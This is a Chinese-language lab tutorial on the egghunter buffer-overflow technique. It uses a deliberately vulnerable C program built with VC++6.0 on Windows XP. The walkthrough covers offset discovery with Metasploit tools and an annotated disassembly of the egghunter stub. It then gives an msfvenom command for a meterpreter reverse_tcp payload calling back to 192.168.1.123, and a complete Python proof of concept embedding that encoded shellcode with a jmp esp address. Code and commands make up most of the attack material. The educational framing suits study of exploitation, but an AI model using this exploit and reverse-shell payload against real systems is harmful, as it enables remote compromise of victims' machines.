egghunter原理与实战

egghunter取名于“复活节彩蛋”,意为人们在复活节的时候去各个地方寻找有颜色的彩蛋。简单来说,就是利用一小段代码寻找一大段shellcode的过程。原因是可利用的栈空间太小,虽然可以控制跳转,但是不足以放下全部的shellcode。所以我们把这一段小空间装入寻找程序(hunter),而把大的shellcode放到后面的地址空间中,头部放上特征以供查找(egg)。hunter在全空间寻找这段egg。人们按规律搜索彩蛋的过程就是hunter;彩蛋就是egg。这个技术最早在2004年由skape的文章《Safely Searching Process Virtual Address Space》提出。

egghunter技术主要解决的是溢出位置无法容纳大的shellcode的问题,而容纳大的shellcode的地方一般不会有溢出。

名字十分有趣,过程也很有趣。

我们在kali中生成shellcode与所需文件,放到xp的VC++6.0下编译运行,metasploit接收反弹。

准备

1.OllyDBG
2.VC++6.0
3.immunity debugger
3.windows xp
4.kali

关键点

首先我们需要一段寻蛋程序放在预定的位置,可以利用msf-egghunter生成。

其次我们最终可执行的shellcode必须存在于内存空间的某个位置,也就是我们有存放大段shellcode的地方,只是我们不知道在哪里。当然也可以继续拆分,那么我们就需要构造ROP链多次在内存空间中跳转。
听起来很麻烦,但是“大道五十,天衍四十九”,万事不得圆满,漏洞往往出现在这一线生机中,抓住才有意义。

最后,我们还需要一些控制跳转的地址,如jmp esp、call、push/ret等,这个可利用mona在进程中寻找。

测试

这个例子演示的是egghunter技术,在xp下编译运行。
在win7下也可以运行,只不过需要关闭DEP,GS,ALSR和SafeSEH。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#include "stdafx.h"
#include <windows.h>

char filename1[] = "c:\\1.txt";
char filename2[] = "c:\\2.txt";
char tempbuf[0x4000];
void func()
{

char buf1[0x30];
char buf2[0x40];

HANDLE hFile;
DWORD filelen, readlen;
readlen = 0x200;
memset(buf1, 0, sizeof(buf1));
memset(buf2, 0, sizeof(buf2));
hFile = CreateFileA(filename1, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
printf("Open file failed!");
return;
}
filelen = GetFileSize(hFile, NULL);
ReadFile(hFile, tempbuf, filelen, &readlen, NULL);
CloseHandle(hFile);

hFile = CreateFileA(filename2, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
printf("Open file failed!");
return;
}
filelen = GetFileSize(hFile, NULL);
ReadFile(hFile, buf1, filelen, &readlen, NULL);
CloseHandle(hFile);
strcpy(buf2, buf1);

printf("Text-length:%d\r\n", readlen);
printf("Text:'%s'\r\n", buf2);


}
int main()
{
char a[4000];
printf("the code begin!\n");
func();
printf("the code end!\n");
getchar();
if (1<0)
__asm
{
jmp esp
}
return 0;
}

在这段代码中,我们读取字节流的方式是文件操作。我们定义了两个较小的内存空间,又在静态存储区定义了一个较大的内存空间。1.txt载入的即我们利用msf生成的shellcode,2.txt为msf-egghunter生成的寻蛋程序。

hFile创建了文件句柄,ReadFile读取到内存中。在fun函数结束时利用jmp esp控制跳转,短跳到寻蛋程序进行搜索,搜索后跳转到shellcode执行。

明白了原理,接下来测试一下偏移量:

先利用msf-pattern_create生成一段字符串来测量偏移量。

1
2
root@kali430:~# msf-pattern_create -l 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag

保存在xp的C:\\2.txt文件中。

1.txt可以先随便填充点什么,测试阶段不碍事。

到OD里调试观察到:

确定偏移:

1
2
root@kali430:~# msf-pattern_offset -q 8Ad9
[*] Exact match at offset 116


上图是个我掉进去的小坑,后面会解释到。

既然已经明白了原理并确定了偏移量,那么接下来就是写poc了。

python写出poc

首先利用msf-egghunter生成寻蛋代码:

1
2
3
4
5
root@kali430:~# msf-egghunter -p windows -f python  -e w00t -v eggfinder
eggfinder = b""
eggfinder += b"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd"
eggfinder += b"\x2e\x3c\x05\x5a\x74\xef\xb8\x77\x30\x30\x74"
eggfinder += b"\x89\xd7\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

我们把这段代码放到OD里看一看:

实际上在windows平台下主要有两种方法搜索进程地址空间。第一种是利用了windows的一个特殊功能:结构化异常处理。即经典的SEH栈溢出,SEH栈溢出不在本文讨论范围内,但是和egghunter结合起来也是一件利器。第二种是用系统调用。即本文中的方法。系统调用中也有很多可用函数,后面会说到。

我们利用AccessCheckAndAuditAlarm函数进行内存搜索。进入系统调用也有两种方式,一种是int 2e,一种是sysenter。这里我们选用int 2e使程序从ring3(运行应用程序,user层)进入ring0(运行内核程序,kernel层)运行API函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
66:81CA FF0F    or      dx, 0FFF		;获取内存页面的最后一个地址
42 inc edx ;循环遍历计数
52 push edx ;edx入栈,保存栈中当前地址
6A 02 push 2 ;0x2是 AccessCheckAndAuditAlarm的系统调用号。
58 pop eax ;eax赋值为2。windows在系统调用方面和linux类似,也是将调用号保存在eax中。
CD 2E int 2E ;进入内核调用函数
3C 05 cmp al, 5 ;检查是否发生访问冲突
5A pop edx ;恢复edx
74 EF je short 0012EF64 ;这个地址是寻蛋程序的开头。跳转到开头or dx, 0FFF
B8 77303074 mov eax, 74303077 ;'w00t'传给eax
89D7 mov edi, edx ;将edi设为当前地址指针
AF scas dword ptr es:[edi] ;把AL或AX的内容与目标串作比较,比较结果反映在标志位
75 EA jnz short 0012EF69 ;不相等就回到inc edx继续下一轮比较
AF scas dword ptr es:[edi] ;匹配成功则进行第二次比较,下面说原因
75 E7 jnz short 0012EF69 ;
FFE7 jmp edi ;跳转到shellcode

为什么将shellcode前的标志设置为4字节重复两次呢,因为我们同样在hunter寻蛋程序中放入了这个四字节标志才知道我们要搜索的目标,那么我们在搜索的时候就有可能会将hunter寻蛋程序中的标志作为目的地。所以重复两次,以免产生错误。

实际上我们有不少方法编写hunter寻蛋程序,比如另一个应用广泛的安全搜索内存空间API函数NtDisplayString,系统调用号是0x43,把6A 02更改为6A 43即可。
或者使用IsBadReadPtr函数与SEH。但是随着safeSEH的应用,使用SEH算法时还需要考虑绕过safeSEH的限制。有兴趣的筒子可以在下方链接中查看具体细节,大佬的译文。
egg hunting

再看一下原理图:

在immunity debugger里用mona寻找一个可利用的jmp esp

1
!mona jmp -r esp


选择kernel32.dll中的0x7c86467b。

确定跳回到hunter寻蛋程序的偏移量:

1
2
3
root@kali430:~# msf-nasm_shell
nasm > jmp $-44
00000000 EBD2 jmp short 0xffffffd4

生成shellcode:

1
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.123 LPORT=5555 -b '\x00' -i 3 -f python

python代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import struct
file_name1 = "1.txt"
file_name2 = "2.txt"
buf = "w00tw00t"
buf += b"\xd9\xc1\xbe\x5d\xe6\x14\x62\xd9\x74\x24\xf4\x58\x33"
buf += b"\xc9\xb1\x63\x31\x70\x1a\x83\xe8\xfc\x03\x70\x16\xe2"
buf += b"\xa8\x59\xc6\xa1\x17\xdf\x3d\xf7\x4e\x6b\xe6\x0c\x2d"
buf += b"\xbd\x2f\x5d\x90\x8c\xd2\x8c\xa9\x02\xd0\xb2\x02\x11"
buf += b"\x8e\x39\xc9\xa7\x4e\xbf\xfb\x3a\x03\x99\xc3\x91\x63"
buf += b"\x98\xda\xc6\xb5\xfb\xc4\x6a\x44\xf2\x05\x4a\x76\x59"
buf += b"\x65\xad\x85\x61\xa2\x35\x43\xc9\x76\x35\x21\xcb\x5e"
buf += b"\x31\x1f\x22\x90\x23\x3a\xde\x20\xe4\x4f\x82\xb9\x96"
buf += b"\x14\x3f\x0a\xb0\x3f\xb3\x7c\xa6\x87\x15\x0d\xb0\xb0"
buf += b"\x55\x86\x2f\xb2\xb2\x94\x7d\x95\x90\xde\xa7\x6c\xd0"
buf += b"\xd9\xc5\xcd\xf5\xdf\xa3\xa0\x17\x9e\x41\x47\x5b\xf7"
buf += b"\xb9\xf8\x55\x23\x73\x4f\xcf\x01\xbc\x55\x65\x5d\x04"
buf += b"\x76\x0f\x2a\x59\xfc\x9f\xe7\x10\x86\x93\x4e\x55\x8a"
buf += b"\x44\x7c\x9e\x18\x90\xaa\xcd\x67\x10\x2e\x8d\x4f\x23"
buf += b"\x15\xa8\xee\xba\x25\x39\x62\x61\x7c\xfd\xd9\xbd\x54"
buf += b"\x81\xb6\x35\x92\x29\x05\x5b\xeb\x84\x93\xe5\x57\xad"
buf += b"\xfe\xd5\x83\xba\x41\xc7\xa5\xf2\x9a\x0d\xe9\xf1\x93"
buf += b"\xca\x7b\x2e\x76\x6c\x5d\x3e\x36\xd8\x0b\xd3\xfd\xc4"
buf += b"\x0c\x3c\x3d\xff\xe8\x0e\x63\x80\xd5\xf0\x98\x0d\x09"
buf += b"\x92\x3b\x3e\xf9\x1a\x20\x3c\x3f\x74\x4a\x60\xb3\x4f"
buf += b"\x23\x7e\xb3\x1b\xb7\x0f\x9e\x76\x7d\xde\xd8\x7a\x3f"
buf += b"\xe1\x5f\xb0\xea\xdb\x52\x7b\x46\x04\x7c\xdb\x27\xe5"
buf += b"\x11\x11\xf5\x23\xa2\x28\x1d\xfe\xae\xd2\x7d\xad\x61"
buf += b"\xfa\x97\x3d\x44\x0f\x02\x54\x0b\xc6\xd5\x5e\x36\x86"
buf += b"\x4f\xec\x22\x8a\x51\x9b\xb1\xd5\xc3\x23\xca\x61\xcd"
buf += b"\xbb\xe7\x48\x94\xe9\x3c\x0d\x0b\x94\xe9\xae\x63\xeb"
buf += b"\xb6\x92\x65\xf2\xd0\x92\xe1\xe0\x8e\x4b\xa5\x96\xe0"
buf += b"\xe2\x8d\xa9\x9c\x16\x4e\x51\x11\x69\xd7\xdb\xc9\xe4"
buf += b"\x1a\xb7\xd6\x4c\xc2\xab\xc2\x4e\x02\xcd\x1b\x3c\x5c"
buf += b"\x05\x07\xd9\x1a\x42\xcc\xfa\xee\x0d\x65\x26\xa2\x30"
buf += b"\x16\x07\x5d\x27\xcc\x0f\x23\x01\xea\x9f\x2d\x03\x19"
buf += b"\x78\x2c\x9f\x0c\x6e\x7d\x99\x7e\xea\x23\xc4\x94\x81"
buf += b"\x48\x55\x58\xe2\x9d\x61"


eggfinder = b""
eggfinder += b"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd"
eggfinder += b"\x2e\x3c\x05\x5a\x74\xef\xb8\x77\x30\x30\x74"
eggfinder += b"\x89\xd7\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

payload1=buf
poc_file = open(file_name1,"w")
poc_file.write(payload1)
poc_file.close()

offset =116
#7c86467b
jmpesp=b"\x7b\x46\x86\x7c"
jmpegg=b"\xeb\xd2\x90\x90"
nops = "\x90"*(offset-len(eggfinder)-8)+eggfinder+"\x90"*8+jmpesp+jmpegg

payload2 = nops
poc_file = open(file_name2,"w")
poc_file.write(payload2)
poc_file.close()

nops那里我在eggfinderjmpesp间插入了一段nop,原因是我在调试过程中发现func函数执行过call _chkesp后会在我的栈中修改一些数据,即


所以需要避开hunter寻蛋程序。

参考文章:
egg hunting
谷歌翻译《Safely Searching Process Virtual Address Space》
Windows下的系统调用号
windowsXp 系统调用课堂学习笔记